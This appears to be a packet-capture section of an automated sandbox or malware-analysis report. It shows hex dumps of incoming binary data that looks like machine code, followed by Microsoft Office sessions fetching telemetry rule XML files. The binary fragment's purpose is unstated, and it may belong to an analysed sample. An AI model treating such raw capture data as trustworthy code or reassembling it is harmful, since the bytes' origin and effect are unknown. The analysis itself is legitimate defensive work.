Nov 19, 2024 20:07:08.322127104 CET	1236	IN	Data Raw: 87 02 01 00 00 48 8b 69 18 48 83 ca 07 45 33 e4 48 3b d3 77 11 48 8b cd 48 8b c3 48 d1 e9 48 2b c1 48 3b e8 76 10 48 b8 ff ff ff ff ff ff ff 7f 48 8d 0c 00 eb 31 48 8d 04 29 48 8b da 48 3b d0 48 0f 42 d8 48 b8 ff ff ff ff ff ff ff 7f 48 8d 4b 01 Data Ascii: HiHE3H;wHHHH+H;vHH1H)HH;HBHHKH;HHrLHHtIH_IK6LwLH fD$3Hr1HHmHrLAH'I+HAHw3IH7HH\$@Hl$HHt$PH\|$XH
Nov 19, 2024 20:07:08.322216034 CET	1236	IN	Data Raw: 40 53 48 83 ec 20 48 8b 19 48 85 db 74 49 48 8b 0b 48 85 c9 74 41 48 8b 53 10 48 2b d1 48 d1 fa 48 03 d2 48 81 fa 00 10 00 00 72 18 4c 8b 41 f8 48 83 c2 27 49 2b c8 48 8d 41 f8 48 83 f8 1f 77 1c 49 8b c8 e8 47 08 03 00 48 83 23 00 48 83 63 08 00 Data Ascii: @SH HHtIHHtAHSH+HHHrLAH'I+HAHwIGH#HcHcH [&_@SH HHHtAHSH+HHHrLAH'I+HAHwIH#HcHcH [^H9HHH\$WH H
Nov 19, 2024 20:07:08.322227955 CET	1236	IN	Data Raw: fa 08 72 32 48 8d 14 55 02 00 00 00 48 8b 4d 00 48 8b c1 48 81 fa 00 10 00 00 72 15 48 83 c2 27 48 8b 49 f8 48 2b c1 48 83 c0 f8 48 83 f8 1f 77 28 e8 86 03 03 00 8a c3 48 8b 8d a0 00 00 00 48 33 cc e8 89 04 03 00 48 81 c4 b0 01 00 00 41 5f 41 5e Data Ascii: r2HUHMHHrH'HIH+HHw(HH3HA_A^A]_^[]VZPZJZDZ@SVWHHH3H$HIHL$ HSugHd$8HD$pHd$XHL$0Hd$`HD$@H\$0H\|$HD$PAHHt&HH_
Nov 19, 2024 20:07:08.322240114 CET	1236	IN	Data Raw: 30 e8 72 ef ff ff 48 8d 74 24 30 8d 5d 01 eb 15 48 8b d0 48 8d 4c 24 50 e8 b7 00 00 00 48 8b f0 bb 02 00 00 00 48 89 2f 48 89 6f 10 48 89 6f 18 41 b8 20 00 00 00 48 8b d6 48 8b cf e8 db 12 03 00 48 89 6e 10 48 c7 46 18 07 00 00 00 66 89 2e 83 cb Data Ascii: 0rHt$0]HHL$PHH/HoHoA HHHnHFf.tHL$Pt>HT$HHr3HUHL$0HHrH'HIH+HHw(?HHL$pH3CH$H_^]UH\$Ht$ WHpHjH3HD$hH
Nov 19, 2024 20:07:08.322251081 CET	1236	IN	Data Raw: 49 8b dc 49 3b c4 48 0f 43 d8 48 89 5c 24 68 48 81 fb 00 10 00 00 72 12 48 8b cb e8 48 ea ff ff 48 8b f8 48 89 44 24 78 eb 23 33 ff 48 85 db 74 12 48 8b cb e8 9f f9 02 00 48 8b f8 48 89 44 24 78 eb 05 48 89 7c 24 78 48 89 5c 24 68 4c 03 f7 41 8a Data Ascii: II;HCH\$hHrHHHHD$x#3HtHHHD$xH\|$xH\$hLAEAHVHLL;tIMFHVILMHH8IH A_A^A]A\_^[xH\$WHHH3H$HHafHn3HL$`D$ DB D$
Nov 19, 2024 20:07:08.322263956 CET	1236	IN	Data Raw: 48 8d 41 f8 48 83 f8 1f 0f 87 9d 00 00 00 49 8b c8 e8 2a f5 02 00 48 83 a7 30 14 00 00 00 48 c7 87 38 14 00 00 0f 00 00 00 c6 87 20 14 00 00 00 48 8d 8f 20 10 00 00 e8 88 03 00 00 48 8d 8f 80 0c 00 00 e8 7c 03 00 00 48 8d 8f 20 0c 00 00 e8 80 f2 Data Ascii: HAHI*H0H8 H H\|H H@`ZHLA!LPDBHOhHH\$0H _KH\$Ht$WH H3HHtIHH+HH;rLAH
Nov 19, 2024 20:07:08.322274923 CET	1236	IN	Data Raw: 48 8b 5c 24 30 48 83 c4 20 5f e9 35 86 01 00 cc 48 83 c1 48 e9 e7 ed ff ff cc cc cc 40 53 48 83 ec 20 48 8b 51 48 48 8b d9 48 83 fa 10 72 2d 48 8b 49 30 48 ff c2 48 81 fa 00 10 00 00 72 18 4c 8b 41 f8 48 83 c2 27 49 2b c8 48 8d 41 f8 48 83 f8 1f Data Ascii: H\$0H _5HH@SH HQHHHr-HI0HHrLAH'I+HAHwIHc@HCHC0H [FH\$WH H tHH\$0HH _@SH Hu'8iuHS@:(HXH [
Nov 19, 2024 20:07:08.322511911 CET	1236	IN	Data Raw: 48 8d 57 40 8d 48 39 e8 24 f2 ff ff eb 8d 83 f8 03 75 35 48 8d 9f cf 0b 00 00 48 8b 07 41 b8 01 00 00 00 48 8b d3 48 8b cf 48 8b 40 18 ff 15 71 4e 04 00 83 f8 01 0f 85 5f ff ff ff 44 38 3b 0f 85 56 ff ff ff 8d 68 07 89 af d0 0b 00 00 41 8a df 48 Data Ascii: HW@H9$u5HHAHHH@qN_D8;VhAH+3H@Ht5HE3HHHH@ %NtD8tuitED8huuuHW@dEV@D8t
Nov 19, 2024 20:07:08.327495098 CET	640	IN	Data Raw: 48 2b c1 48 83 c0 f8 48 83 f8 1f 77 17 e8 b2 e6 02 00 48 8b 4c 24 40 48 33 cc e8 b9 e7 02 00 48 83 c4 58 c3 e8 93 3d 03 00 cc cc cc 40 53 48 83 ec 20 48 8b d9 e8 26 f1 00 00 84 c0 75 04 32 c0 eb 30 33 d2 48 8b cb e8 50 f8 ff ff 84 c0 75 20 48 8d Data Ascii: H+HHwHL$@H3HX=@SH H&u203HPu HS@:HHH@bIH [H\$Hl$Ht$WH HIHIHHt-HSH+HrLAH'I+HAHw0IH/H;Hl$8HCH7Ht$@HCH\$0H

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.7	49701	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:18 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:18 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:18 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 13:10:03 GMT ETag: "0x8DD089B7B2F27B3" x-ms-request-id: 082f1a68-301e-005d-348c-3ae448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190518Z-1777c6cb754j8gqphC1TEB5bf800000008d000000000f11a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:18 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-19 19:05:18 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-19 19:05:18 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-19 19:05:18 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-19 19:05:18 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-19 19:05:18 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-19 19:05:18 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-19 19:05:18 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-19 19:05:18 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-19 19:05:18 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.7	49704	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:19 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:19 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:19 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 884d2a23-a01e-00ab-5b8c-3a9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190519Z-185f5d8b95cjbkr4hC1NYCeu24000000090000000000ecs7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:19 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.7	49703	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:19 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:19 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190519Z-r1d97b99577gg97qhC1TEBcrf400000007n000000000a4z1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:19 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.7	49702	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:19 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:19 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:19 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: f909c6c7-c01e-0049-518c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190519Z-185f5d8b95cdcwrthC1NYCy5b800000008zg000000010y7q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:19 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49706	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:19 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
